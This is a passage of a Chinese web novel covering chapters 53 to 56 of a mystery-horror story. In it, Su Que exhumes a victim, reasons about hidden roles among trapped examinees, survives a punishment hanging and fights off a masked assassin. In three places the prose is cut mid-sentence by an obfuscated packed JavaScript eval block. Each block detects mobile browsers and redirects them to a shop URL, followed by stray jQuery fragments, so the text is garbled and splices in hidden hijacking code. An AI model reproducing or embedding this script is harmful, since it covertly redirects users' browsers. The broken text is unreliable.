出门前，李长宥看着他们这副架势，再次开口问道：“你们不会打算将四座坟都挖开吧？是否需要帮手？” 苏却冷冷地看了他一眼，回道：“我没有多余的灯笼了。” 说罢，她与宋停一人提灯，一人拿工具，推开客栈门，踏入了夜色之中。 门外的世界，已经完全是另一种天地。 寒气冷冽如刀割，扑面而来。 而灯笼中的烛火，在踏出门槛的刹那，剧烈地晃动后变得非常微弱，似乎下一刻就会彻底熄灭，让他们陷入无尽黑暗之中。 宋停见状，立刻侧身将灯笼护在面前，生怕烛火出意外。 他一直紧紧抓住苏却的手腕，走得很慢。 从客栈门口到那片显眼的荒地，距离本不算远，但每一步都走得非常艰难。 短短一程，竟似走了许久。 终于，四个土坟轮廓逐渐清晰。 坟刚堆成不久，泥土并没有很坚硬，苏却随便挑中一个就开始用盆开刨，偶尔用铲子辅助，宋停提灯在侧，同时警惕地环顾着四周。 一股混合着潮气与淡淡腐烂气息的土腥味扑鼻而来。 没过多久，铁铲的尖端传来与土石不同的触感。 苏却动作放轻，用铲子一刮，黝黑的泥土中，露出了一截苍白的胳膊。 宋停连忙举着灯笼靠得更近。 顺着胳膊往上拨开泥土，一张微微肿胀但大致能辨认出五官的脸慢慢显露，看起来比较陌生，应该就是范月楼了。 苏却要找的，也正是范月楼。 当时看到李长宥所绘范月楼的死状图时，她心中就隐隐觉得有哪里不太对劲，加之尸身消失得诡异，字条上又出现了“不归尘”又指向不明。 她总觉得必须亲眼查验一番才能安心。 这几名死者中，也唯有范月楼的尸体，她未曾亲自检视过。 她示意宋停将灯笼提高，自己则将范月楼的尸身从土坑中拖拽了出来。 范月楼早已不再僵硬，但也已经有了臭味。 好在如今天气并不炎热，否则尸身数日，腐坏之后不堪设想。 她毫不迟疑，三两下就除去了范月楼身上的衣物，准备仔细查验那些伤口。 宋停就站在范月楼头边，一手举着灯笼，目光在范月楼青白色的脸与苏却冷静的侧脸之间来回移动。 他忍不住低声感叹道：“苏却，你的胆子……是真的大。” 然而，当宋停看见范月楼浑身纵横交错的伤口时，他举着灯笼的手忽然抖了一下。 “苏却，”他的声音带着一丝不确定，“他这些伤口……排列的样子……好像……有些不对劲。你要不，站到我这个位置来看看？” 苏却闻言，立刻停下手中的动作，依言蹲着身子，向宋停的方向挪动了两步，凑到了范月楼的头部正上方，顺着宋停手指的方向看去。 53. 赴考（十五） 赴考（十五） 灯笼里，一点豆大的火光摇曳着，光线黯淡，却于无边黑暗中，硬生生破开一隅光明。 借着这微弱的光，苏却细细查看。 只见那些刀口边缘凝结着干涸血痂，伤口周围的皮肉因腐败而肿胀，布满了大小不一的水泡。 豁口狰狞，皮肉外翻，混合着黏附的泥土，泛着令人作呕的颜色。 直到此刻，苏却才明白，为何李长宥那幅画上会有说不出来的奇怪感觉。 因为，所有伤口的主要走向，竟都向着范月楼右手那一侧。 苏却目光沉凝，拿出小刀轻轻拨了拨伤口。 刀尖刚一触及腐败水泡，就弄破了几个。 破裂后流出的液体裹挟着恶臭，加之黏腻的声音，令人头皮发麻。 本就一直强撑着的宋停目睹此景，耳闻此声，鼻嗅此味，终是忍耐不住，扭头接连干呕十数声，直呕得双眼通红，涕泗交流。 而苏却对身旁的动静恍若未闻，只是继续探看。 这些伤口大多都首深尾浅。 她手上正好拿着刀，往自己身上比画了两下后，发现这就好像是范月楼自己手持利刃，一刀接着一刀，下了十足十的狠手，如癫似狂地自戕至死。 然而，这个念头本身实在是无比荒谬。 且不说这种自我凌迟的死法需要承受何等痛苦，普通人根本无法忍受。 单是回忆当晚，苏却自己因心存警惕，所以并未沉睡得太沉。 她曾隐隐约约听到些许不寻常的响动，非常轻微。 但那声响，几乎可以确定就是凶手潜入万夜空房中，杀人的动静。 以此推断，假设万夜空当时正睡在枕头上，已经失去了对身体的控制，故而他在睡梦中被扼住咽喉时才没有反抗挣扎的声音。 身体的最后的求生本能，仅限于无意识地抓挠身下的床沿，而不是凶手的身体。 这番推测，逻辑上是通顺的。 可反观范月楼，若他是在神志清醒的状态下亲手执。 这一刀一刀划开自己血肉的疼痛，他怎么可能如同哑巴一般，不发出一丝声音？ 就算他与苏却的房间一头一尾，相隔数间，声音传递有阻隔。 那离他更近叶别风呢？ 叶别风也明确知道枕头的作用，所以他也一定不会睡死。 可事后，他从未提及，那天夜里曾听到任何源自范月楼房间的异常声响。 而且，这样一来，先前关于李长宥趁夜潜入对面房间杀范月楼一事，似乎变得十分牵强，难以立住了。 假设时间倒回到那天夜里。 当下，李长宥的面前是已经熟睡的范月楼，并且，他就站在此刻她和宋停所在的这个角度，残忍杀害了范月楼，将伤口划成仿佛自我了断的模样。 那么，第二天清晨楚念来发现尸体后，混乱初起，他作为距离最近的人，理应极力将众人的注意力吸引到范月楼的死状上，并引导大家讨论这些伤口的特点。 进而顺势抛出触犯规则可能会受到惩罚，然后自虐而死的猜测。 如此行事，非但能将自己与弟弟李共川彻底择除嫌疑，掩护李共川的身份，更能借此引起恐慌，人人自危，视规则为护身符，再不敢违背，为凶手行动创造了非常有利的条件。 可现实情况却是，众人的注意力被分散，反而是因为华子唐和苏却，导致万夜空这边更引起注意，而且大家对死因的猜测五花八门，甚至连究竟触犯了哪一条规则会招致死亡，都模糊不清。 即便再退一步，或许李长宥杀人时心慌，心思不够缜密，未能立刻想到这个方法，那么后来他主动寻到苏却，把现场图给她时，也是一个绝佳的机会。 以他的画技，完全可以在图中又隐晦又明确地，让苏却意识到伤口的蹊跷之处，混淆苏却的判断。 然而，若非苏却此刻亲身站在这具尸体前，且宋停无意找到了这个角度。 说实话，她很难想到这一可能性。 就算李共川当时已经不再是杀手身份，但他们兄弟二人，对这一次事件的已知视角，远远广于其他参与者，自然，他们一定希望其他人知道得越少越好，探查的方向越偏越好，形势对自己越有利越好。 除非，苏却这次是真的是瞎了眼，看错了李长宥为人。 他或许真的是个傻子。 但，苏却不信。 同理，任何人如上操作杀死范月楼，都应该有这样的引导，而不是耗费心血伪装了自杀现场后，却任其默默无闻。 现在看来，范月楼的尸身，应该算是找到了一个突破口。 按目前的推测，已经排除了他杀。 自杀的话，也实在感觉不太可能。 但若说是规则杀，苏却自己今日几乎公然违背了所有明面上的日程规则，直至此刻，她仍安然无恙…… 除非…… 就在这时，宋停终于勉强压下了喉咙间那一阵阵恶心，他使劲咽了几口唾沫，一手紧紧抓着灯笼提手，一手捂着口鼻，朦朦胧胧地开口：“他……他这是疯了不成？还是他做错了什么？他为什么要把自己划成这样？” 苏却动作利落地把衣物重新盖回范月楼冰冷的尸身上，将他拖回土坑里，然后拾起盆，重新掩埋尸体。 她一边填土，一边开口：“所以你认为，这些伤口，是他自己所为？” “呕……”宋停刚想张嘴说话，就又涌来一阵抽搐，他强忍着不适，断断续续地道，“除非……除非那客栈里头，一开始就住着一个嗜血残忍，以折磨人为乐的疯子……” 他说着，回头望了一眼身后的客栈，继续道：“否则，取人性命一刀便已足够，何须……何须如此大费周章，残忍若此……” “不错，无论行凶者是谁，若目的仅是杀人，一刀毙命确是最佳选择。”苏却手上的动作未曾停歇，泥土不断覆盖上去，她的声音在寂寂夜色中愈发清冷，“你还记不记得，我之前与你提过的第二张纸条上，画的是什么图案？” “是刺盾！你的意思是……”宋停闻言，眼睛骤然睁大几分，道：“范月楼他……是被当时拥有这张刺盾的人，反击了？那么，范月楼本人……其实才是先发动袭击的凶手？” 苏却倒完最后一盆土，站起身，拍了拍手上的土，掸了掸身上的尘。 她转身开始往回走，道：“当时我对那张纸的理解，就是攻守皆备。它是一种特殊的身份象征，持有此身份者，盾可护身，刺可反伤。所以，我推测，范月楼死了，不是自杀，也不是他杀，而是死于角色定义惩罚。而方法，大概就是控制他自己动手……” 宋停跟在苏却身侧，若有所思地点头，但又皱眉道：“可若依此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645505|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，范月楼是袭击刺盾后失败，遭反噬而死，那万夜空又是怎么回事？难道他不是被李共川所杀？李长宥和李共川兄弟二人……难道我们之前的怀疑皆是错的，他们竟是清白无辜的？还有那华子唐，他的死因又是什么？” 宋停不曾亲身经历，所知皆出自苏却之口，故推测与苏却大致相类。 “不。”苏却刻意与宋停保持了一点距离，定然道，“范月楼是凶手，并不能洗脱李氏兄弟身上的疑点，但能证明一件事。” 宋停闻听此言，侧头，目光灼灼地看向身边的苏却。 视线交汇，瞬息之间，他们都从对方眼中读到了一句话。 两人异口同声：“不止一个凶手。” 如果凶手并非一人，而是多名，那么之前许多为难之处，和他们苦苦找寻的生存规则，也在此刻逐渐显露。 最简单的结局即为，在期限之内，凶手方杀光非凶方，或者非凶方找出所有凶手。 宋停放缓了脚步，拉近了与苏却的距离，道：“可眼下还有一个问题。凶手的任务必然是杀人，所以段春音杀章世昌是必然。倘若当真存在多名凶手，那么按常理推断，在上一轮身份有效期内，应该还会有其他人殒命才对。可现在已经纸条更替，身份轮换，这岂不是说明……至少有一名凶手，在上一轮中未曾杀人？” “我刚接触了尸体，你不要离我太近。”苏却继续保持距离，没有继续说下去。 不远处，客栈的大门，像巨兽张开的大口，叶别风四人正站在里面等着他们。 他们背着光，看不见他们的五官和脸。 只有黑洞洞的四具人影一字排在门口，僵立门前。 仿佛在听他们说话的声音。 就在这时，一股不知从何处而起的邪风，直冲冲地撞向宋停手中的灯笼。 根本来不及做出任何反应。 本就微弱的烛火，在一刹那间，熄灭了。 四周瞬间陷入了黑暗。 与此同时，宋停只觉后背心处好似被人推了一把。 他猝不及防，脚下失衡，整个人不受控制地向前倒去。 “咚”一声闷响，他的头，重重磕在客栈门板上。 叶别风几乎立刻伸手来扶，口中疾呼：“宋兄弟！小心！” 但被宋停挥开了。 宋停手中，只剩了一只残破不堪的纸灯笼，竹骨亦是歪斜，已经不能再用了。 苏却糊上面的纸，像是被利器穿破，全都坏了。 他回头想给苏却看。 上一次她就曾经在黑暗中受伤，那就等一会儿顺便和她一起讨论。 可身后，哪里还有苏却的人影？ 宋停轻轻叫了一声：“苏却？” 无人回应。 宋停呼吸一滞，心脏都停了。 他朝着那片黑暗，颤抖着嘶声唤道。 没有任何回应。 只有死一般的寂静，从四面八方席卷而来。 他脑中一片空白，将手中的灯笼一丢，随即就要不管不顾地往夜色里冲过去。 “宋兄弟万万不可！”叶别风死死抱住宋停，“山起，快拦住他，死也要拦住他！” 其余三人一拥而上，手臂交错，死死地抱住了宋停，将他向着客栈内奋力拖拽。 随即而起的，是一声凄厉恐惧的叫喊。 54. 赴考（十六） 赴考（十六） 混沌迷蒙，似醒非醒。 这一声凄厉的惨叫，亦好像传入苏却的耳中，将她惊醒。 她试图睁眼，眼皮却重若千斤，想移动身体，四肢却绵软无力，以及……无处不在，刀割般的剧痛。 她浑身如被千刀万剐，动弹不得，不知伤在何处，抑或是全身是伤。 再清醒几分后，她意识到自己的处境。 整个人被悬空吊起，唯一的连接，是手腕上束着自己的那根粗绳。 绳索深深勒进皮肉，随着她的挣扎摩擦着腕间，火烧火燎的。 全身的重量都坠在这两条手臂上，肩胛骨仿佛要被生生拉脱，每一次的晃动，痛楚都如潮水般阵阵涌来。 她最后的记忆，停留在宋停手中那盏灯笼中的蜡烛，烛火在踏入客栈前突然熄灭。 随后，黑暗如刃，切开了她与光亮之间的空隙，将她彻底吞噬。 再后来，便是利器贯身的剧痛，与随之而来的昏迷。 她已经很久没有承受过这样的痛苦了。 这个被吊缚的姿势，让她想起了很多很多年前，她也曾被这样吊在房梁上，鞭挞，针扎……手腕早已皮开肉绽，麻绳却仍死死嵌在伤口之中。 不时泼来的盐水，一次又一次地啃咬着她的每一寸伤处。 那时候，她的皮肤根本经不起任何折磨，肯定比现在更惨不忍睹一些。 她无力哭泣，也无力呼喊，只在混沌中觉得，这天地间仿佛只剩下她一人。 那时她便想，若这世间真有鬼神，她的爹娘怎能眼睁睁看她受这般苦楚，却不来相救？ 若能就此痛死…… 该有多好。 思绪飘忽间，不远处似乎传来隐约的对话声，断断续续，听不真切。 “……你欠了……真不知……何至于此……她……价值……何必……” 声音实在模糊，听不全内容。 随后，似乎有一声低笑传来。 苏却拼命想集中精神，但通身的剧痛让她昏昏沉沉，再次陷入黑暗之中。 不知过了多久，她再次醒来。 天光已然大亮，刺得她眼皮微微颤抖。 她费力掀开沉重的眼皮，打量四周。 看清周遭环境时，心下不由一沉，反倒更清醒了几分。 她竟被吊在书院正门之前。 衣衫尽湿，血渍狼藉，紧紧贴在皮肤上，斑驳不堪。 昨日她刻意接连违反日程，直到夜幕降临也安然无恙，心中刚有几分侥幸。 谁知……不是不报，时候未到。 她几乎想笑，却连牵动嘴角的力气也无。 余光瞥见脚边似乎立着一块木牌，也不知写了什么。 正在此时，远处传来了急促的脚步声和人声。 “苏却！” “苏兄弟！” 两个声音几乎同时响起。 是宋停和叶别风。 他们怎么会一同前来？ 可苏却被吊得很高，脚尖的位置，几乎悬在二人胸膛之处，绳索又绷得极紧，即便下面的人想托住她，也只能勉强缓解手臂被拉扯的痛苦。 叶别风几步抢到近前，抬头看清苏却浑身是血的惨状，眉头紧锁，又见宋停脸色苍白，便也伸手欲托住苏却的小腿，对宋停道：“宋兄弟，你大病初愈，又一夜未眠，换我来托着吧。再等一会儿其他人就……” 宋停未松手，只从齿缝里挤出一个字给他：“滚。” 叶别风碰了个硬钉子，面色僵了僵，但见宋停倔强，苏却危急，也不再多言，转身快步朝客栈方向奔去，寻人相助。 下面只剩下宋停。 他的手臂能清晰地感受到苏却的颤抖。 他仰着头，声音焦急问道：“昨晚到底发生了什么？你怎么会在这里？你身上的伤……严不严重？” 这些皮肉之苦，对苏却而言，尚在可承受范围之内，并不算多严重。 她并非娇养之人，疼痛于她，早已是家常便饭。 只是，她本想张嘴说话，却发现自己开口后都是虚弱的气声，连自己都听不真切，更不要说宋停。 即便他勉强听见，也显得有几分矫情。 她索性闭口不言。 不多时，叶别风带着杨季野匆匆赶回。 杨季野手脚利落，从地上捡起一块带有尖角的碎石，磨了磨锋口，几步跃上门柱，一蹬一挺，手中石尖对准吊着苏却的粗绳划割。 几下之后，绳索应声而断。 几人在下面一起接住苏却的身体。 宋停看着苏却满身的血，扶也不是抱也不是，触手之处，全是血。 单薄的衣服应该是湿透后还未被风干，原先血液凝住的伤口也因动作而重新绽裂。 那两只手腕更是惨不忍睹。 宋停只觉得自己好像也狠狠勒住了。 他一时竟不知该如何下手，生怕碰痛了她，只能将自己的胳膊和半边身子尽量给她靠着、搀着，让她倚着自己。 这时，陶雨竹挽着段春音，跟着更多的人，也来到了书院门口。 陶雨竹弯下腰，仔细看了看地上的木牌，将上面的字念了出来。 “此人昨日无知、急躁、怠业，不思上进，荒废课业，以此小惩，敬告各位。” 果然。 是昨日违反日程的惩罚。 这惩罚虽来得迟，却足够狠厉。 一身伤换一个教训，虽然亏，但也算有收获。 看来，除了凶手之外的其他人，是否必须严格遵守日程规则的推测，还需再推敲。 苏却背靠在宋停的胳膊上，迎着慢慢聚过来人群疑惑的目光，深吸一口气，用尽了所有力气，道：“容我……休整片刻。我有……有话说。” 然后，她侧过头，对紧挨着自己的宋停道：“我想要热水，干净的衣物。但，日程要求我接下来必须待在书院，劳烦你……” “知道了，我来想办法。”宋停立刻应下，同时伸出一只手臂托住苏却的脖颈，让她靠得更舒服些。 他低声问道：“你腿上有伤吗？我先托着你去明伦堂，等你安置好了我再离开。” 苏却借着他的力道站稳些许，虽然周身无处不痛，但她并无大碍。 任谁吊几个时辰不无力， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650398|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不麻木？ 她活动了一下双腿，摇了摇头：“你太小看我了。” 宋停知她性子，不再多言，但坚持要亲自扶送她去明伦堂。 直到亲眼看着苏却在明伦堂的垫子坐下，宋停才匆匆转身返回客栈。 “铛——！” 钟声传来。 又是晨读开始的时辰。 而在开始之前，众人早已三三两两聚在一起，低声议论着，从苏却受惩的惨状，转到了昨夜的另一桩事上。 苏却靠在冰凉的墙壁上，闭目调息，静静听着堂内的议论声。 “……大家，是不是都听到了昨夜那声惨叫，我当时真的被吓到了，犹豫了一下才开了门。我和关姑娘还在门口对视了，能互相做证。”康大化道。 杨季野点头道：“谁不是呢？当时大家都开门了，人人都在场，都可以做证。” “不对吧？”关记秋提出异议，“我记得，当时我并没有看到宋停、叶别风、张山起、李共川、李长宥。” 楚念来双手比画了一下客栈格局，小声道：“是……李长宥的房门开着……但是我听到了他们的声音。他们……都在楼下客栈大堂……他们似乎在吵架。” “还不明显吗？因为苏却失踪了。”林无岩双手抱胸道，“你看看找到人以后这几个人如释重负的样子，而且他们几个肯定也能互相证明。” “所以，那时，就该进去。”宁剑书指着秦玉奇道，“可他，不让。” 秦玉奇翻了个白眼，阴阳道：“喂喂喂，这位姑娘，可别血口喷人。我拦你实乃好意。瞧见没，那随意违反日程的人，正半死不活地靠在那儿，你确定你要不计后果地冲进去吗？” 叶别风面色一凛，咳嗽了一下。 秦玉奇连忙改口道：“啊哈哈我还是很感谢苏却兄弟的，希望他早日恢复。” 叶别风道：“我们确实都该好好谢谢苏却，因为她证实了一件事，违反日程，并不致死。” “而且我需要解释一下昨天我们楼下发生的事。当时我、山起和两位李兄弟都在李长宥的房间，他把他画的一些线索和我们分享，正好看见了要出门的苏却和宋停。” “什么？出去？”陶雨竹瞪大了双眼，一脸不可置信。 “是的，他们说要去掘坟。”叶别风道。 “！” “！” “！” 众人皆是满脸惊愕，这么离谱的事情，让他们如何相信。 叶别风看了一圈所有人，道：“但我想，苏兄弟是有收获的，他说有话要说，那我们都等等她。” “那……她，戚时晴……是怎么死的？”孟兰红的声音怯怯地响起。 短暂的沉默后，林无岩面色凝重：“很大的可能是自杀，尖叫声响起的时候，我们大家都能彼此做证，没有任何人和她在一起，总不可能是鬼杀的吧。” 堂内顿时一片哗然。 苏却依然闭着眼。 她的声音不大。 “这，便是我接下来要跟大家说的事，还望诸位可以配合。虽然很多都还是一个猜测，但若无误……我们应该，很快就可以离开这里了。” 55. 赴考（十七） 赴考（十七） 明伦堂内，空气仿佛凝滞。 苏却提出的要求，无异于要将众人的秘密公之于众。 叶别风只是将原本朝向众人的坐姿，缓缓转为侧坐，目光落在苏却的身上。 她依旧靠着墙壁，闭着眼，脸色苍白。 他开口问道：“我们需要如何配合？” 方才一言似耗去苏却不少气力，不过好在已经坐着靠着缓了一会儿，虽未复原，已不似初脱困时那般虚弱。 “我开诚布公地说，我的纸条上，是一本书。”苏却只抬了抬眼皮，身体纹丝未动，“所以，我需要你们在抄书空余之时，把昨天纸条上的内容记下来，给我，我在膳堂再与你们分析。” 她略一停顿，语气平淡地补充了一句：“如若心虚，不给亦可。” 这话顿时激起一片骚动，四周响起了犹疑的窃窃私语。 “啊？这……” “这怎么可以……” “安的什么心啊？” 毕竟，他们在第一天晨读之时，就已经在叶别风的带领下确认，纸条上的内容对他们每一个人而言，一定都非常重要。 如今苏却竟要他们主动交出？ 众人的目光不由自主地投向了叶别风。 这位亲口提出“不可轻易泄露秘密”之人，会如何回应苏却这个与他主张截然相反的要求呢？ 周遭一下子陷入了更深的沉默，连喘气声都轻了，似乎都在等待着叶别风的决断。 叶别风环视着一张张怀着不安又充满期盼的脸，只觉压力如山。 他知道，在他说出自己的姓名，表明自己的身份之后，他不可避免地会成为众人眼中那个可以信任可以依靠的对象。 但前提是，他引领众人走的每一步，都必须是正确的。 可他，本就无法选择自己的人生，只不过是出生于望族，只不过是被冠了不少虚名，只不过是因为金钱权势，拥有了比其他人更多的机会。 他也只是一个血肉之躯的普通人。 他也想安然无恙活完一生，寿终正寝。 而不是不明不白地，死在这诡异的地方。 苏却失踪了一夜，还能奇迹般出现，看情形应该是在书院门口整整吊了一夜，但浑身上下只有一些皮肉伤口，性命无虞。 这件事无论怎么看，都颇有疑点。 他身边还跟着一个与书院、科考都毫无关联的宋停。 并且他上来就向他打听一件无论如何都不应该，也不可能被打听的事。 他可以确定，苏却和宋停很特别，是个变数。 但他无法确定，这变数带来的，是生机，还是更险的绝境。 然而，没等叶别风开口，人群后方，一道清越的声音率先响起，打破了僵局。 “好，我会亲自送到你的书斋。” 众人循声望去，说话的是李长宥。 他站在那儿，便是一道风景。 肤光胜雪，五官精致，鼻梁高挺，唇色如春花，瞳眸似秋水。 这般容貌，久视之下，实在摄魂夺魄。 苏却看人，向来更重其行，而非观其皮相。 但爱美之心人皆有之，面对如此一张近乎完美的脸，谁又能忍得住不多看几眼？ 只可惜……李长宥始终面无表情道：“诸位踟蹰，无非是畏惧。可我们真的要这样等死吗？不知缘由毫无头绪？今天是他，明天是他，下一个或许就是你，就是我。” 他顿了顿，声音坚定：“求变虽险，犹胜坐以待毙。我赌了！” 站在他身旁的李共川立刻接口：“我和我哥一样。” 紧接着，段春音虽依旧挽着陶雨竹的胳膊，但也向前迈了一小步，声音虽轻，却足够清晰：“我……我也相信苏公子。” 苏却闻言，心中不禁泛起一丝苦笑。 率先声援的，竟是这三人。 李氏兄弟行为本就存疑，段春音更是明面的凶手。 然而，有了带头人，原本犹豫不决的众人也开始松动，窃窃私语再次响起，这些人互相交换着眼神，但再没人继续公开表态。 正好此时。 “铛——” 钟声响起，晨读结束。沉闷的声音，回荡在书院上空。 众人纷纷起身离开了明伦堂，暂时逃离这艰难的抉择。 叶别风留到了最后，他走到苏却面前，伸出手，似乎想扶她一把。 苏却微微抬手，挡住了他的好意。 叶别风的手在空中停顿了一下。 他靠近一步，声音压得极低，确保只有他们两人能听见：“我连续三张，都是同样一支笔的图案。” 苏却嘴角浅浅一歪，道：“其实你完全可以选择不说。” 叶别风摇了摇头，神色复杂：“可我不想成为砧板上的鱼肉，任人宰割。我也想赌一赌这个‘变’。” “只是在这个地方，信任太稀罕了。”他目光坦诚，继续说道，“我可以保证，我叶别风绝不会主动害谁，也可以在力所能及之处帮助所有人，但我必须坦言，我永远都无法真正地，相信任何一个人。” “确实。” 其实，苏却本就没指望这些人会真的将纸条内容毫无保留地告诉她。 犹豫、隐瞒，甚至编造，都是再正常不过的反应。 因为普通人，没有视角。 若是易地而处，换成苏却自己，面对这样的要求，她大概率也不会实话实说，甚至会直接忽视。 苏却踉踉跄跄地站起身，道：“不劳相扶，时辰无多，我先走一步。” 说完，苏却脚步虚浮，慢悠悠地一步一步挪向自己的书斋。 她能理解叶别风的考量。 那么，率先站出来的李长宥、李共川和段春音，又是出于何种目的？ 是真的相信她能带领大家找到生路？ 这种可能性微乎其微。 更可能的是，他们各自掌握的信息，足以支撑他们大发慈悲地提供一些信息，给这些可怜人。 且不说叶别风的笔图案是真是假，现在她已经掌握了三种身份：凶手、刺盾、书。 有身份，就意味着有不同的目标和规则。 凶手自然是要杀人，但绝非乱杀盲杀，否则范月楼不会因为袭击了刺盾而遭反杀。这说明，刺盾的存在，是普通人的概率抵挡，对凶手而言，是一个未知的风险，是行动的掣肘。 按照他们的说法，戚时晴昨晚尖叫时还活着，也没有人去过她的房间，是今早才被发现死亡，并推断为自杀的话，她极有可能是第三种死法。 凶手没动手杀人，被规则杀了。 除此之外，昨天没有人再死了。 那昨天的凶手，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657732|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是段春音和戚时晴。 前天的凶手，就是范月楼和杀了万夜空华子唐的那个人。 所以，是不是会有一种身份，是凶手的目标，只要在人群中找到并杀死，凶手就能完成任务，作为存活的条件？ 就比如…… 几乎是身体的本能，苏却向后一仰，一道寒光贴着她的鼻尖掠过，带起一阵冷风。 这一仰，几乎让她伤口尽裂，耗尽了气力，差点摔倒。 她咬牙勉强稳住，心中冷嗤。 趁她重伤虚弱前来袭击，未免太看轻她苏却了。 她只是受伤，行动不便，又不是废了。 门内，一只握着短刃的手臂一击落空，持刃者显然没料到她在如此状态下，竟还能有这样的反应。 袭击者一身黑衣，黑巾蒙面，只露出一双眼睛，身形瘦高，此刻一击不中，眼中虽有诧异，但动作却毫不停滞，手腕一翻，短刃再次向苏却刺来。 苏却见招拆招。 这黑衣人显然并不精通武艺，招式简单直接，缺乏章法，但胜在动作灵巧，身法柔韧，如同无骨之蛇，总能以各种刁钻的角度发动攻击，或是险之又险地避开苏却的反击。 其招招式式，皆攻向她伤腕与周身创口，意在逼她闪避，耗她体力，待她力竭，再施致命一击。 一时间，书斋门口拳脚相交，刀刃破风之声不绝。 苏却虽受伤，但经验老到。她早已摸清出招路数，以最小的动幅度贴着黑衣人的身侧，每每在关键时刻避开。 两人竟缠斗了数个来回，谁也未能立刻拿下对方。 又过了几招，苏却抓住空防，忍着手腕剧痛，一记手刀狠狠劈向对方持刃的手腕。 黑衣人吃痛，短刃险些脱手。 苏却乘势追击，一脚踹向对方膝弯。 黑衣人闷哼一声，身形一个趔趄。 他心知不能再缠斗下去，闹大动静得不偿失，便趁苏却换招之际，毫不犹豫向灌丛之中一纵，枝叶一阵剧烈晃动，随即恢复了平静，人已消失无踪。 苏却知道，此人定是今天的凶手无疑，虽想追击，但周身伤口已全部撕裂，一阵阵剧痛和眩晕感袭来。 她扶着门框，知道自己此刻的状态，根本无力追捕那个袭击者。 抬眼看向书斋内，只见宋停倒在地上，双目紧闭。 墙边湿了一大片，木桶里的水还冒着热气，剩了一半撒了一半，旁边散落着干净衣物和一些药品。 此人动作好快。 明明不久前才一起从明伦堂离开，短短工夫，竟已经换了衣服，打晕宋停，埋伏门后。 是因为知道了苏却的身份？ 苏却反手关上书斋的门，插上门闩，靠在门板上缓了片刻，才有力气一步步挪到宋停身边，检查了一下他的后颈，发现确实有一处击打痕迹，看来暂无性命之忧。 她这才真正松了口气，着手处理自身伤处。 身上的衣服早已不能再穿了。 她一点点脱下血迹斑斑破损不堪的衣服，从贴身缠胸上撕下一小块浸入温水中，一股淡淡的药草气味随着热气蒸腾而起，萦绕在鼻尖。 她已痛到麻木，只熟练地清理擦拭着自己的身体。 看来，这位新凶手又蠢又心急。 苏却只怕他对此毫无反应，谁知道他这么快就自己送上门来。 56. 赴考（十八） 赴考（十八） 书斋内，弥漫着血腥气和一丝淡淡的药草味。 苏却牙手并用，将干净布条缠于胸前与臂上伤处。 自己浑身的伤口，都像是什么利器所致，刚刚又一番打斗，动作间，布条一瞬间又沾了一大片血迹。 目光无意间扫过仍躺在地上的宋停，却见他眼睫正微微震颤。 苏却一边给腿上上药，一边语气平淡，如同自言自语般说道：“还不醒吗？等会儿我的书，可抄不完了。” 话音落下，地上躺着的宋停脸上顿时闪过一丝尴尬，随即慢吞吞地睁开了眼睛。 “啊哈哈……”他干笑两声，一边揉着后脖颈坐起身，一边信誓旦旦地说道，“我其实也是刚醒，真的。而且你放心，我绝对没偷看，这也是实话。” 自睁眼起，宋停的视线便刻意游移，不是盯地便是看桶，偶与苏却目光相触，便如同被火燎到一般急急避开。 苏却将他这副罕见的窘态看在眼里，觉得有些好笑，又有些莫名。 她满不在乎：“都是皮肉骨架，你怎么像见了鬼一样？” 随后苏却侧过身，背对着宋停，道：“要帮忙就快过来，磨蹭什么。” “噢……噢噢，来了。”宋停连忙应声，手脚并用地挪到她身后。 映入眼帘的景象让他呼吸一窒。 苏却背脊之上，伤口纵横，皮开肉绽，颜色鲜红，像一张张豁开的嘴，惨不忍睹。 他深吸一口气，伸手从苏却手里接过药瓶，点着瓶身，轻轻把药粉倒在她背后的伤口之上。 尽量放轻动作，生怕弄痛了她。 宋停此生，是第一次如此靠近一个女子的肌肤。 书上说女子肤如凝脂冰肌玉骨，还有“垆边人似月，皓腕凝霜雪”【1】。 可苏却和他想象中，有极大的不同。 苏却肤色，自然比不上那些养尊处优之人，肌理紧实，线条流畅分明，呼吸间甚至能看到肌肉的起伏。 他只觉得，似乎这样更好。 然而，她身上那些新旧交错的疤痕，令他心中一沉。 有的已经很浅淡，只留下比周围肤色略白的印记。有的则比较明显，凸起或凹陷，可以想见当时受伤之重，愈合之艰。 他的视线，最终落在了她左肩一处疤痕上。 那是…… 宋停心头一动，伸出一根手指，轻轻地触碰了一下那道疤痕，又马上缩回。 苏却感到左肩后方传来一阵微痒，疑惑地侧过头问道：“怎么了？” “你左肩这里……”宋停的声音带着一丝迟疑，“是不是那时……受的伤？” 